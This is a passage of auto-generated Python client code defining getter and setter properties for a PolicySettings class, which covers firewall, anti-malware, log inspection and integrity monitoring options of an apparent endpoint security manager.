:param firewall_setting_engine_option_ignore_status_code2: The firewall_setting_engine_option_ignore_status_code2 of this PolicySettings. # noqa: E501
:type: SettingValue
"""
self._firewall_setting_engine_option_ignore_status_code2 = firewall_setting_engine_option_ignore_status_code2
@property
def firewall_setting_engine_option_ssl_session_size(self):
"""Gets the firewall_setting_engine_option_ssl_session_size of this PolicySettings. # noqa: E501
SSL Session Size # noqa: E501
:return: The firewall_setting_engine_option_ssl_session_size of this PolicySettings. # noqa: E501
:rtype: SettingValue
"""
return self._firewall_setting_engine_option_ssl_session_size
@firewall_setting_engine_option_ssl_session_size.setter
def firewall_setting_engine_option_ssl_session_size(self, firewall_setting_engine_option_ssl_session_size):
"""Sets the firewall_setting_engine_option_ssl_session_size of this PolicySettings.
SSL Session Size # noqa: E501
:param firewall_setting_engine_option_ssl_session_size: The firewall_setting_engine_option_ssl_session_size of this PolicySettings. # noqa: E501
:type: SettingValue
"""
self._firewall_setting_engine_option_ssl_session_size = firewall_setting_engine_option_ssl_session_size
@property
def anti_malware_setting_scan_cache_real_time_config_id(self):
"""Gets the anti_malware_setting_scan_cache_real_time_config_id of this PolicySettings. # noqa: E501
Anti-Malware Real-Time Scan Cache Configuration # noqa: E501
:return: The anti_malware_setting_scan_cache_real_time_config_id of this PolicySettings. # noqa: E501
:rtype: SettingValue
"""
return self._anti_malware_setting_scan_cache_real_time_config_id
@anti_malware_setting_scan_cache_real_time_config_id.setter
def anti_malware_setting_scan_cache_real_time_config_id(self, anti_malware_setting_scan_cache_real_time_config_id):
"""Sets the anti_malware_setting_scan_cache_real_time_config_id of this PolicySettings.
Anti-Malware Real-Time Scan Cache Configuration # noqa: E501
:param anti_malware_setting_scan_cache_real_time_config_id: The anti_malware_setting_scan_cache_real_time_config_id of this PolicySettings. # noqa: E501
:type: SettingValue
"""
self._anti_malware_setting_scan_cache_real_time_config_id = anti_malware_setting_scan_cache_real_time_config_id
@property
def platform_setting_recommendation_ongoing_scans_interval(self):
"""Gets the platform_setting_recommendation_ongoing_scans_interval of this PolicySettings. # noqa: E501
Ongoing Scan Interval # noqa: E501
:return: The platform_setting_recommendation_ongoing_scans_interval of this PolicySettings. # noqa: E501
:rtype: SettingValue
"""
return self._platform_setting_recommendation_ongoing_scans_interval
@platform_setting_recommendation_ongoing_scans_interval.setter
def platform_setting_recommendation_ongoing_scans_interval(self, platform_setting_recommendation_ongoing_scans_interval):
"""Sets the platform_setting_recommendation_ongoing_scans_interval of this PolicySettings.
Ongoing Scan Interval # noqa: E501
:param platform_setting_recommendation_ongoing_scans_interval: The platform_setting_recommendation_ongoing_scans_interval of this PolicySettings. # noqa: E501
:type: SettingValue
"""
self._platform_setting_recommendation_ongoing_scans_interval = platform_setting_recommendation_ongoing_scans_interval
@property
def platform_setting_smart_protection_global_server_use_proxy_enabled(self):
"""Gets the platform_setting_smart_protection_global_server_use_proxy_enabled of this PolicySettings. # noqa: E501
Use Proxy when accessing Global Service for Census # noqa: E501
:return: The platform_setting_smart_protection_global_server_use_proxy_enabled of this PolicySettings. # noqa: E501
:rtype: SettingValue
"""
return self._platform_setting_smart_protection_global_server_use_proxy_enabled
@platform_setting_smart_protection_global_server_use_proxy_enabled.setter
def platform_setting_smart_protection_global_server_use_proxy_enabled(self, platform_setting_smart_protection_global_server_use_proxy_enabled):
"""Sets the platform_setting_smart_protection_global_server_use_proxy_enabled of this PolicySettings.
Use Proxy when accessing Global Service for Census # noqa: E501
:param platform_setting_smart_protection_global_server_use_proxy_enabled: The platform_setting_smart_protection_global_server_use_proxy_enabled of this PolicySettings. # noqa: E501
:type: SettingValue
"""
self._platform_setting_smart_protection_global_server_use_proxy_enabled = platform_setting_smart_protection_global_server_use_proxy_enabled
@property
def firewall_setting_interface_limit_one_active_enabled(self):
"""Gets the firewall_setting_interface_limit_one_active_enabled of this PolicySettings. # noqa: E501
Limit to one active interface # noqa: E501
:return: The firewall_setting_interface_limit_one_active_enabled of this PolicySettings. # noqa: E501
:rtype: SettingValue
"""
return self._firewall_setting_interface_limit_one_active_enabled
@firewall_setting_interface_limit_one_active_enabled.setter
def firewall_setting_interface_limit_one_active_enabled(self, firewall_setting_interface_limit_one_active_enabled):
"""Sets the firewall_setting_interface_limit_one_active_enabled of this PolicySettings.
Limit to one active interface # noqa: E501
:param firewall_setting_interface_limit_one_active_enabled: The firewall_setting_interface_limit_one_active_enabled of this PolicySettings. # noqa: E501
:type: SettingValue
"""
self._firewall_setting_interface_limit_one_active_enabled = firewall_setting_interface_limit_one_active_enabled
@property
def firewall_setting_anti_evasion_check_tcp_checksum(self):
"""Gets the firewall_setting_anti_evasion_check_tcp_checksum of this PolicySettings. # noqa: E501
TCP Checksum # noqa: E501
:return: The firewall_setting_anti_evasion_check_tcp_checksum of this PolicySettings. # noqa: E501
:rtype: SettingValue
"""
return self._firewall_setting_anti_evasion_check_tcp_checksum
@firewall_setting_anti_evasion_check_tcp_checksum.setter
def firewall_setting_anti_evasion_check_tcp_checksum(self, firewall_setting_anti_evasion_check_tcp_checksum):
"""Sets the firewall_setting_anti_evasion_check_tcp_checksum of this PolicySettings.
TCP Checksum # noqa: E501
:param firewall_setting_anti_evasion_check_tcp_checksum: The firewall_setting_anti_evasion_check_tcp_checksum of this PolicySettings. # noqa: E501
:type: SettingValue
"""
self._firewall_setting_anti_evasion_check_tcp_checksum = firewall_setting_anti_evasion_check_tcp_checksum
@property
def firewall_setting_engine_option_drop_ipv6_ext_type0_enabled(self):
"""Gets the firewall_setting_engine_option_drop_ipv6_ext_type0_enabled of this PolicySettings. # noqa: E501
Drop IPv6 Extension Type 0 # noqa: E501
:return: The firewall_setting_engine_option_drop_ipv6_ext_type0_enabled of this PolicySettings. # noqa: E501
:rtype: SettingValue
"""
return self._firewall_setting_engine_option_drop_ipv6_ext_type0_enabled
@firewall_setting_engine_option_drop_ipv6_ext_type0_enabled.setter
def firewall_setting_engine_option_drop_ipv6_ext_type0_enabled(self, firewall_setting_engine_option_drop_ipv6_ext_type0_enabled):
"""Sets the firewall_setting_engine_option_drop_ipv6_ext_type0_enabled of this PolicySettings.
Drop IPv6 Extension Type 0 # noqa: E501
:param firewall_setting_engine_option_drop_ipv6_ext_type0_enabled: The firewall_setting_engine_option_drop_ipv6_ext_type0_enabled of this PolicySettings. # noqa: E501
:type: SettingValue
"""
self._firewall_setting_engine_option_drop_ipv6_ext_type0_enabled = firewall_setting_engine_option_drop_ipv6_ext_type0_enabled
@property
def anti_malware_setting_scan_file_size_max_mbytes(self):
"""Gets the anti_malware_setting_scan_file_size_max_mbytes of this PolicySettings. # noqa: E501
Maximum file size to scan # noqa: E501
:return: The anti_malware_setting_scan_file_size_max_mbytes of this PolicySettings. # noqa: E501
:rtype: SettingValue
"""
return self._anti_malware_setting_scan_file_size_max_mbytes
@anti_malware_setting_scan_file_size_max_mbytes.setter
def anti_malware_setting_scan_file_size_max_mbytes(self, anti_malware_setting_scan_file_size_max_mbytes):
"""Sets the anti_malware_setting_scan_file_size_max_mbytes of this PolicySettings.
Maximum file size to scan # noqa: E501
:param anti_malware_setting_scan_file_size_max_mbytes: The anti_malware_setting_scan_file_size_max_mbytes of this PolicySettings. # noqa: E501
:type: SettingValue
"""
self._anti_malware_setting_scan_file_size_max_mbytes = anti_malware_setting_scan_file_size_max_mbytes
@property
def firewall_setting_engine_option_generate_connection_events_tcp_enabled(self):
"""Gets the firewall_setting_engine_option_generate_connection_events_tcp_enabled of this PolicySettings. # noqa: E501
Generate Connection Events for TCP # noqa: E501
:return: The firewall_setting_engine_option_generate_connection_events_tcp_enabled of this PolicySettings. # noqa: E501
:rtype: SettingValue
"""
return self._firewall_setting_engine_option_generate_connection_events_tcp_enabled
@firewall_setting_engine_option_generate_connection_events_tcp_enabled.setter
def firewall_setting_engine_option_generate_connection_events_tcp_enabled(self, firewall_setting_engine_option_generate_connection_events_tcp_enabled):
"""Sets the firewall_setting_engine_option_generate_connection_events_tcp_enabled of this PolicySettings.
Generate Connection Events for TCP # noqa: E501
:param firewall_setting_engine_option_generate_connection_events_tcp_enabled: The firewall_setting_engine_option_generate_connection_events_tcp_enabled of this PolicySettings. # noqa: E501
:type: SettingValue
"""
self._firewall_setting_engine_option_generate_connection_events_tcp_enabled = firewall_setting_engine_option_generate_connection_events_tcp_enabled
@property
def anti_malware_setting_file_hash_size_max_mbytes(self):
"""Gets the anti_malware_setting_file_hash_size_max_mbytes of this PolicySettings. # noqa: E501
Skip hash values calculation if file size is large than (64MB~512MB) # noqa: E501
:return: The anti_malware_setting_file_hash_size_max_mbytes of this PolicySettings. # noqa: E501
:rtype: SettingValue
"""
return self._anti_malware_setting_file_hash_size_max_mbytes
@anti_malware_setting_file_hash_size_max_mbytes.setter
def anti_malware_setting_file_hash_size_max_mbytes(self, anti_malware_setting_file_hash_size_max_mbytes):
"""Sets the anti_malware_setting_file_hash_size_max_mbytes of this PolicySettings.
Skip hash values calculation if file size is large than (64MB~512MB) # noqa: E501
:param anti_malware_setting_file_hash_size_max_mbytes: The anti_malware_setting_file_hash_size_max_mbytes of this PolicySettings. # noqa: E501
:type: SettingValue
"""
self._anti_malware_setting_file_hash_size_max_mbytes = anti_malware_setting_file_hash_size_max_mbytes
@property
def firewall_setting_event_log_file_cached_entries_life_time(self):
"""Gets the firewall_setting_event_log_file_cached_entries_life_time of this PolicySettings. # noqa: E501
Cache Lifetime # noqa: E501
:return: The firewall_setting_event_log_file_cached_entries_life_time of this PolicySettings. # noqa: E501
:rtype: SettingValue
"""
return self._firewall_setting_event_log_file_cached_entries_life_time
@firewall_setting_event_log_file_cached_entries_life_time.setter
def firewall_setting_event_log_file_cached_entries_life_time(self, firewall_setting_event_log_file_cached_entries_life_time):
"""Sets the firewall_setting_event_log_file_cached_entries_life_time of this PolicySettings.
Cache Lifetime # noqa: E501
:param firewall_setting_event_log_file_cached_entries_life_time: The firewall_setting_event_log_file_cached_entries_life_time of this PolicySettings. # noqa: E501
:type: SettingValue
"""
self._firewall_setting_event_log_file_cached_entries_life_time = firewall_setting_event_log_file_cached_entries_life_time
@property
def platform_setting_smart_protection_global_server_proxy_id(self):
"""Gets the platform_setting_smart_protection_global_server_proxy_id of this PolicySettings. # noqa: E501
Use Proxy when accessing Global Service for Census # noqa: E501
:return: The platform_setting_smart_protection_global_server_proxy_id of this PolicySettings. # noqa: E501
:rtype: SettingValue
"""
return self._platform_setting_smart_protection_global_server_proxy_id
@platform_setting_smart_protection_global_server_proxy_id.setter
def platform_setting_smart_protection_global_server_proxy_id(self, platform_setting_smart_protection_global_server_proxy_id):
"""Sets the platform_setting_smart_protection_global_server_proxy_id of this PolicySettings.
Use Proxy when accessing Global Service for Census # noqa: E501
:param platform_setting_smart_protection_global_server_proxy_id: The platform_setting_smart_protection_global_server_proxy_id of this PolicySettings. # noqa: E501
:type: SettingValue
"""
self._platform_setting_smart_protection_global_server_proxy_id = platform_setting_smart_protection_global_server_proxy_id
@property
def log_inspection_setting_auto_apply_recommendations_enabled(self):
"""Gets the log_inspection_setting_auto_apply_recommendations_enabled of this PolicySettings. # noqa: E501
Automatically assign/unassign recommended Log Inspection Rules to Computer during Recommendation Scans # noqa: E501
:return: The log_inspection_setting_auto_apply_recommendations_enabled of this PolicySettings. # noqa: E501
:rtype: SettingValue
"""
return self._log_inspection_setting_auto_apply_recommendations_enabled
@log_inspection_setting_auto_apply_recommendations_enabled.setter
def log_inspection_setting_auto_apply_recommendations_enabled(self, log_inspection_setting_auto_apply_recommendations_enabled):
"""Sets the log_inspection_setting_auto_apply_recommendations_enabled of this PolicySettings.
Automatically assign/unassign recommended Log Inspection Rules to Computer during Recommendation Scans # noqa: E501
:param log_inspection_setting_auto_apply_recommendations_enabled: The log_inspection_setting_auto_apply_recommendations_enabled of this PolicySettings. # noqa: E501
:type: SettingValue
"""
self._log_inspection_setting_auto_apply_recommendations_enabled = log_inspection_setting_auto_apply_recommendations_enabled
@property
def anti_malware_setting_connected_threat_defense_suspicious_file_ddan_submission_enabled(self):
"""Gets the anti_malware_setting_connected_threat_defense_suspicious_file_ddan_submission_enabled of this PolicySettings. # noqa: E501
Submit files identified as suspicious by Document Exploit Protection scanning to Deep Discovery Analyzer # noqa: E501
:return: The anti_malware_setting_connected_threat_defense_suspicious_file_ddan_submission_enabled of this PolicySettings. # noqa: E501
:rtype: SettingValue
"""
return self._anti_malware_setting_connected_threat_defense_suspicious_file_ddan_submission_enabled
@anti_malware_setting_connected_threat_defense_suspicious_file_ddan_submission_enabled.setter
def anti_malware_setting_connected_threat_defense_suspicious_file_ddan_submission_enabled(self, anti_malware_setting_connected_threat_defense_suspicious_file_ddan_submission_enabled):
"""Sets the anti_malware_setting_connected_threat_defense_suspicious_file_ddan_submission_enabled of this PolicySettings.
Submit files identified as suspicious by Document Exploit Protection scanning to Deep Discovery Analyzer # noqa: E501
:param anti_malware_setting_connected_threat_defense_suspicious_file_ddan_submission_enabled: The anti_malware_setting_connected_threat_defense_suspicious_file_ddan_submission_enabled of this PolicySettings. # noqa: E501
:type: SettingValue
"""
self._anti_malware_setting_connected_threat_defense_suspicious_file_ddan_submission_enabled = anti_malware_setting_connected_threat_defense_suspicious_file_ddan_submission_enabled
@property
def web_reputation_setting_blocking_page_link(self):
"""Gets the web_reputation_setting_blocking_page_link of this PolicySettings. # noqa: E501
Blocked Page Link # noqa: E501
:return: The web_reputation_setting_blocking_page_link of this PolicySettings. # noqa: E501
:rtype: SettingValue
"""
return self._web_reputation_setting_blocking_page_link
@web_reputation_setting_blocking_page_link.setter
def web_reputation_setting_blocking_page_link(self, web_reputation_setting_blocking_page_link):
"""Sets the web_reputation_setting_blocking_page_link of this PolicySettings.
Blocked Page Link # noqa: E501
:param web_reputation_setting_blocking_page_link: The web_reputation_setting_blocking_page_link of this PolicySettings. # noqa: E501
:type: SettingValue
"""
self._web_reputation_setting_blocking_page_link = web_reputation_setting_blocking_page_link
@property
def firewall_setting_syslog_config_id(self):
"""Gets the firewall_setting_syslog_config_id of this PolicySettings. # noqa: E501
Firewall and Intrusion Prevention Syslog Configuration # noqa: E501
:return: The firewall_setting_syslog_config_id of this PolicySettings. # noqa: E501
:rtype: SettingValue
"""
return self._firewall_setting_syslog_config_id
@firewall_setting_syslog_config_id.setter
def firewall_setting_syslog_config_id(self, firewall_setting_syslog_config_id):
"""Sets the firewall_setting_syslog_config_id of this PolicySettings.
Firewall and Intrusion Prevention Syslog Configuration # noqa: E501
:param firewall_setting_syslog_config_id: The firewall_setting_syslog_config_id of this PolicySettings. # noqa: E501
:type: SettingValue
"""
self._firewall_setting_syslog_config_id = firewall_setting_syslog_config_id
@property
def platform_setting_agent_communications_direction(self):
"""Gets the platform_setting_agent_communications_direction of this PolicySettings. # noqa: E501
Direction of Deep Security Manager to Agent/Appliance communication # noqa: E501
:return: The platform_setting_agent_communications_direction of this PolicySettings. # noqa: E501
:rtype: SettingValue
"""
return self._platform_setting_agent_communications_direction
@platform_setting_agent_communications_direction.setter
def platform_setting_agent_communications_direction(self, platform_setting_agent_communications_direction):
"""Sets the platform_setting_agent_communications_direction of this PolicySettings.
Direction of Deep Security Manager to Agent/Appliance communication # noqa: E501
:param platform_setting_agent_communications_direction: The platform_setting_agent_communications_direction of this PolicySettings. # noqa: E501
:type: SettingValue
"""
self._platform_setting_agent_communications_direction = platform_setting_agent_communications_direction
@property
def integrity_monitoring_setting_scan_cache_config_id(self):
"""Gets the integrity_monitoring_setting_scan_cache_config_id of this PolicySettings. # noqa: E501
Integrity Scan Cache Configuration: # noqa: E501
:return: The integrity_monitoring_setting_scan_cache_config_id of this PolicySettings. # noqa: E501
:rtype: SettingValue
"""
return self._integrity_monitoring_setting_scan_cache_config_id
@integrity_monitoring_setting_scan_cache_config_id.setter
def integrity_monitoring_setting_scan_cache_config_id(self, integrity_monitoring_setting_scan_cache_config_id):
"""Sets the integrity_monitoring_setting_scan_cache_config_id of this PolicySettings.
Integrity Scan Cache Configuration: # noqa: E501
:param integrity_monitoring_setting_scan_cache_config_id: The integrity_monitoring_setting_scan_cache_config_id of this PolicySettings. # noqa: E501
:type: SettingValue
"""
self._integrity_monitoring_setting_scan_cache_config_id = integrity_monitoring_setting_scan_cache_config_id
@property
def anti_malware_setting_document_exploit_protection_rule_exceptions(self):
"""Gets the anti_malware_setting_document_exploit_protection_rule_exceptions of this PolicySettings. # noqa: E501
Allowed Advanced Threat Detection Rules # noqa: E501
:return: The anti_malware_setting_document_exploit_protection_rule_exceptions of this PolicySettings. # noqa: E501
:rtype: SettingValue
"""
return self._anti_malware_setting_document_exploit_protection_rule_exceptions
@anti_malware_setting_document_exploit_protection_rule_exceptions.setter
def anti_malware_setting_document_exploit_protection_rule_exceptions(self, anti_malware_setting_document_exploit_protection_rule_exceptions):
"""Sets the anti_malware_setting_document_exploit_protection_rule_exceptions of this PolicySettings.
Allowed Advanced Threat Detection Rules # noqa: E501
:param anti_malware_setting_document_exploit_protection_rule_exceptions: The anti_malware_setting_document_exploit_protection_rule_exceptions of this PolicySettings. # noqa: E501
:type: SettingValue
"""
self._anti_malware_setting_document_exploit_protection_rule_exceptions = anti_malware_setting_document_exploit_protection_rule_exceptions
@property
def firewall_setting_anti_evasion_check_tcp_syn_with_data(self):
"""Gets the firewall_setting_anti_evasion_check_tcp_syn_with_data of this PolicySettings. # noqa: E501
TCP Syn with Data # noqa: E501
:return: The firewall_setting_anti_evasion_check_tcp_syn_with_data of this PolicySettings. # noqa: E501
:rtype: SettingValue
"""
return self._firewall_setting_anti_evasion_check_tcp_syn_with_data
@firewall_setting_anti_evasion_check_tcp_syn_with_data.setter
def firewall_setting_anti_evasion_check_tcp_syn_with_data(self, firewall_setting_anti_evasion_check_tcp_syn_with_data):
"""Sets the firewall_setting_anti_evasion_check_tcp_syn_with_data of this PolicySettings.
TCP Syn with Data # noqa: E501
:param firewall_setting_anti_evasion_check_tcp_syn_with_data: The firewall_setting_anti_evasion_check_tcp_syn_with_data of this PolicySettings. # noqa: E501
:type: SettingValue
"""
self._firewall_setting_anti_evasion_check_tcp_syn_with_data = firewall_setting_anti_evasion_check_tcp_syn_with_data
@property
def anti_malware_setting_file_hash_enabled(self):
"""Gets the anti_malware_setting_file_hash_enabled of this PolicySettings. # noqa: E501
Calculate Hash values of all anti-malware events (at least SHA1 by default) # noqa: E501
:return: The anti_malware_setting_file_hash_enabled of this PolicySettings. # noqa: E501
:rtype: SettingValue
"""
return self._anti_malware_setting_file_hash_enabled
@anti_malware_setting_file_hash_enabled.setter
def anti_malware_setting_file_hash_enabled(self, anti_malware_setting_file_hash_enabled):
"""Sets the anti_malware_setting_file_hash_enabled of this PolicySettings.
Calculate Hash values of all anti-malware events (at least SHA1 by default) # noqa: E501
:param anti_malware_setting_file_hash_enabled: The anti_malware_setting_file_hash_enabled of this PolicySettings. # noqa: E501
:type: SettingValue
"""
self._anti_malware_setting_file_hash_enabled = anti_malware_setting_file_hash_enabled
@property
def firewall_setting_reconnaissance_block_fingerprint_probe_duration(self):
"""Gets the firewall_setting_reconnaissance_block_fingerprint_probe_duration of this PolicySettings. # noqa: E501
Computer OS Fingerprint Probe - Block Traffic # noqa: E501
:return: The firewall_setting_reconnaissance_block_fingerprint_probe_duration of this PolicySettings. # noqa: E501
:rtype: SettingValue
"""
return self._firewall_setting_reconnaissance_block_fingerprint_probe_duration
@firewall_setting_reconnaissance_block_fingerprint_probe_duration.setter
def firewall_setting_reconnaissance_block_fingerprint_probe_duration(self, firewall_setting_reconnaissance_block_fingerprint_probe_duration):
"""Sets the firewall_setting_reconnaissance_block_fingerprint_probe_duration of this PolicySettings.
Computer OS Fingerprint Probe - Block Traffic # noqa: E501
:param firewall_setting_reconnaissance_block_fingerprint_probe_duration: The firewall_setting_reconnaissance_block_fingerprint_probe_duration of this PolicySettings. # noqa: E501
:type: SettingValue
"""
self._firewall_setting_reconnaissance_block_fingerprint_probe_duration = firewall_setting_reconnaissance_block_fingerprint_probe_duration
@property
def firewall_setting_engine_option_drop_ipv6_bogons_addresses_enabled(self):
"""Gets the firewall_setting_engine_option_drop_ipv6_bogons_addresses_enabled of this PolicySettings. # noqa: E501
Drop IPv6 Bogon Addresses # noqa: E501
:return: The firewall_setting_engine_option_drop_ipv6_bogons_addresses_enabled of this PolicySettings. # noqa: E501
:rtype: SettingValue
"""
return self._firewall_setting_engine_option_drop_ipv6_bogons_addresses_enabled
@firewall_setting_engine_option_drop_ipv6_bogons_addresses_enabled.setter
def firewall_setting_engine_option_drop_ipv6_bogons_addresses_enabled(self, firewall_setting_engine_option_drop_ipv6_bogons_addresses_enabled):
"""Sets the firewall_setting_engine_option_drop_ipv6_bogons_addresses_enabled of this PolicySettings.
Drop IPv6 Bogon Addresses # noqa: E501
:param firewall_setting_engine_option_drop_ipv6_bogons_addresses_enabled: The firewall_setting_engine_option_drop_ipv6_bogons_addresses_enabled of this PolicySettings. # noqa: E501
:type: SettingValue
"""
self._firewall_setting_engine_option_drop_ipv6_bogons_addresses_enabled = firewall_setting_engine_option_drop_ipv6_bogons_addresses_enabled
@property
def firewall_setting_engine_option_boot_start_timeout(self):
"""Gets the firewall_setting_engine_option_boot_start_timeout of this PolicySettings. # noqa: E501
Boot Start Timeout # noqa: E501
:return: The firewall_setting_engine_option_boot_start_timeout of this PolicySettings. # noqa: E501
:rtype: SettingValue
"""
return self._firewall_setting_engine_option_boot_start_timeout
@firewall_setting_engine_option_boot_start_timeout.setter
def firewall_setting_engine_option_boot_start_timeout(self, firewall_setting_engine_option_boot_start_timeout):
"""Sets the firewall_setting_engine_option_boot_start_timeout of this PolicySettings.
Boot Start Timeout # noqa: E501
:param firewall_setting_engine_option_boot_start_timeout: The firewall_setting_engine_option_boot_start_timeout of this PolicySettings. # noqa: E501
:type: SettingValue
"""
self._firewall_setting_engine_option_boot_start_timeout = firewall_setting_engine_option_boot_start_timeout
@property
def firewall_setting_engine_option_connections_num_tcp_max(self):
"""Gets the firewall_setting_engine_option_connections_num_tcp_max of this PolicySettings. # noqa: E501
Maximum TCP Connections # noqa: E501
:return: The firewall_setting_engine_option_connections_num_tcp_max of this PolicySettings. # noqa: E501
:rtype: SettingValue
"""
return self._firewall_setting_engine_option_connections_num_tcp_max
@firewall_setting_engine_option_connections_num_tcp_max.setter
def firewall_setting_engine_option_connections_num_tcp_max(self, firewall_setting_engine_option_connections_num_tcp_max):
"""Sets the firewall_setting_engine_option_connections_num_tcp_max of this PolicySettings.
Maximum TCP Connections # noqa: E501
:param firewall_setting_engine_option_connections_num_tcp_max: The firewall_setting_engine_option_connections_num_tcp_max of this PolicySettings. # noqa: E501
:type: SettingValue
"""
self._firewall_setting_engine_option_connections_num_tcp_max = firewall_setting_engine_option_connections_num_tcp_max
@property
def firewall_setting_anti_evasion_security_posture(self):
"""Gets the firewall_setting_anti_evasion_security_posture of this PolicySettings. # noqa: E501
Anti-Evasion Posture # noqa: E501
:return: The firewall_setting_anti_evasion_security_posture of this PolicySettings. # noqa: E501
:rtype: SettingValue
"""
return self._firewall_setting_anti_evasion_security_posture
@firewall_setting_anti_evasion_security_posture.setter
def firewall_setting_anti_evasion_security_posture(self, firewall_setting_anti_evasion_security_posture):
"""Sets the firewall_setting_anti_evasion_security_posture of this PolicySettings.
Anti-Evasion Posture # noqa: E501
:param firewall_setting_anti_evasion_security_posture: The firewall_setting_anti_evasion_security_posture of this PolicySettings. # noqa: E501
:type: SettingValue
"""
self._firewall_setting_anti_evasion_security_posture = firewall_setting_anti_evasion_security_posture
@property
def firewall_setting_interface_patterns(self):
"""Gets the firewall_setting_interface_patterns of this PolicySettings. # noqa: E501
Interface Patterns # noqa: E501
:return: The firewall_setting_interface_patterns of this PolicySettings. # noqa: E501
:rtype: SettingValue
"""
return self._firewall_setting_interface_patterns
@firewall_setting_interface_patterns.setter
def firewall_setting_interface_patterns(self, firewall_setting_interface_patterns):
"""Sets the firewall_setting_interface_patterns of this PolicySettings.
Interface Patterns # noqa: E501
:param firewall_setting_interface_patterns: The firewall_setting_interface_patterns of this PolicySettings. # noqa: E501
:type: SettingValue
"""
self._firewall_setting_interface_patterns = firewall_setting_interface_patterns
@property
def firewall_setting_interface_isolation_enabled(self):
"""Gets the firewall_setting_interface_isolation_enabled of this PolicySettings. # noqa: E501
Enable Interface Isolation # noqa: E501
:return: The firewall_setting_interface_isolation_enabled of this PolicySettings. # noqa: E501
:rtype: SettingValue
"""
return self._firewall_setting_interface_isolation_enabled
@firewall_setting_interface_isolation_enabled.setter
def firewall_setting_interface_isolation_enabled(self, firewall_setting_interface_isolation_enabled):
"""Sets the firewall_setting_interface_isolation_enabled of this PolicySettings.
Enable Interface Isolation # noqa: E501
:param firewall_setting_interface_isolation_enabled: The firewall_setting_interface_isolation_enabled of this PolicySettings. # noqa: E501
:type: SettingValue
"""
self._firewall_setting_interface_isolation_enabled = firewall_setting_interface_isolation_enabled
@property
def anti_malware_setting_virtual_appliance_real_time_scan_cache_entries_max(self):
"""Gets the anti_malware_setting_virtual_appliance_real_time_scan_cache_entries_max of this PolicySettings. # noqa: E501
Max Real-Time Malware Scan Cache Entries # noqa: E501
:return: The anti_malware_setting_virtual_appliance_real_time_scan_cache_entries_max of this PolicySettings. # noqa: E501
:rtype: SettingValue
"""
return self._anti_malware_setting_virtual_appliance_real_time_scan_cache_entries_max
@anti_malware_setting_virtual_appliance_real_time_scan_cache_entries_max.setter
def anti_malware_setting_virtual_appliance_real_time_scan_cache_entries_max(self, anti_malware_setting_virtual_appliance_real_time_scan_cache_entries_max):
"""Sets the anti_malware_setting_virtual_appliance_real_time_scan_cache_entries_max of this PolicySettings.
Max Real-Time Malware Scan Cache Entries # noqa: E501
:param anti_malware_setting_virtual_appliance_real_time_scan_cache_entries_max: The anti_malware_setting_virtual_appliance_real_time_scan_cache_entries_max of this PolicySettings. # noqa: E501
:type: SettingValue
"""
self._anti_malware_setting_virtual_appliance_real_time_scan_cache_entries_max = anti_malware_setting_virtual_appliance_real_time_scan_cache_entries_max
@property
def firewall_setting_events_out_of_allowed_policy_enabled(self):
"""Gets the firewall_setting_events_out_of_allowed_policy_enabled of this PolicySettings. # noqa: E501
Generate Firewall Events for packets that are 'Out Of Allowed Policy' # noqa: E501
:return: The firewall_setting_events_out_of_allowed_policy_enabled of this PolicySettings. # noqa: E501
:rtype: SettingValue
"""
return self._firewall_setting_events_out_of_allowed_policy_enabled
@firewall_setting_events_out_of_allowed_policy_enabled.setter
def firewall_setting_events_out_of_allowed_policy_enabled(self, firewall_setting_events_out_of_allowed_policy_enabled):
"""Sets the firewall_setting_events_out_of_allowed_policy_enabled of this PolicySettings.
Generate Firewall Events for packets that are 'Out Of Allowed Policy' # noqa: E501
:param firewall_setting_events_out_of_allowed_policy_enabled: The firewall_setting_events_out_of_allowed_policy_enabled of this PolicySettings. # noqa: E501
:type: SettingValue
"""
self._firewall_setting_events_out_of_allowed_policy_enabled = firewall_setting_events_out_of_allowed_policy_enabled
@property
def firewall_setting_anti_evasion_check_evasive_retransmit(self):
"""Gets the firewall_setting_anti_evasion_check_evasive_retransmit of this PolicySettings. # noqa: E501
Evasive Retransmit # noqa: E501
:return: The firewall_setting_anti_evasion_check_evasive_retransmit of this PolicySettings. # noqa: E501
:rtype: SettingValue
"""
return self._firewall_setting_anti_evasion_check_evasive_retransmit
@firewall_setting_anti_evasion_check_evasive_retransmit.setter
def firewall_setting_anti_evasion_check_evasive_retransmit(self, firewall_setting_anti_evasion_check_evasive_retransmit):
"""Sets the firewall_setting_anti_evasion_check_evasive_retransmit of this PolicySettings.
Evasive Retransmit # noqa: E501
:param firewall_setting_anti_evasion_check_evasive_retransmit: The firewall_setting_anti_evasion_check_evasive_retransmit of this PolicySettings. # noqa: E501
:type: SettingValue
"""
self._firewall_setting_anti_evasion_check_evasive_retransmit = firewall_setting_anti_evasion_check_evasive_retransmit
@property
def firewall_setting_engine_option_icmp_timeout(self):
"""Gets the firewall_setting_engine_option_icmp_timeout of this PolicySettings. # noqa: E501
ICMP Timeout # noqa: E501
:return: The firewall_setting_engine_option_icmp_timeout of this PolicySettings. # noqa: E501
:rtype: SettingValue
"""
return self._firewall_setting_engine_option_icmp_timeout
@firewall_setting_engine_option_icmp_timeout.setter
def firewall_setting_engine_option_icmp_timeout(self, firewall_setting_engine_option_icmp_timeout):
"""Sets the firewall_setting_engine_option_icmp_timeout of this PolicySettings.
ICMP Timeout # noqa: E501
:param firewall_setting_engine_option_icmp_timeout: The firewall_setting_engine_option_icmp_timeout of this PolicySettings. # noqa: E501
:type: SettingValue
"""
self._firewall_setting_engine_option_icmp_timeout = firewall_setting_engine_option_icmp_timeout
@property
def integrity_monitoring_setting_syslog_config_id(self):
"""Gets the integrity_monitoring_setting_syslog_config_id of this PolicySettings. # noqa: E501
Integrity Monitoring Syslog Configuration # noqa: E501
:return: The integrity_monitoring_setting_syslog_config_id of this PolicySettings. # noqa: E501
:rtype: SettingValue
"""
return self._integrity_monitoring_setting_syslog_config_id
@integrity_monitoring_setting_syslog_config_id.setter
def integrity_monitoring_setting_syslog_config_id(self, integrity_monitoring_setting_syslog_config_id):
"""Sets the integrity_monitoring_setting_syslog_config_id of this PolicySettings.
Integrity Monitoring Syslog Configuration # noqa: E501
:param integrity_monitoring_setting_syslog_config_id: The integrity_monitoring_setting_syslog_config_id of this PolicySettings. # noqa: E501
:type: SettingValue
"""
self._integrity_monitoring_setting_syslog_config_id = integrity_monitoring_setting_syslog_config_id
@property
def firewall_setting_engine_option_connection_cleanup_timeout(self):
"""Gets the firewall_setting_engine_option_connection_cleanup_timeout of this PolicySettings. # noqa: E501
Connection Cleanup Timeout # noqa: E501
:return: The firewall_setting_engine_option_connection_cleanup_timeout of this PolicySettings. # noqa: E501
:rtype: SettingValue
"""
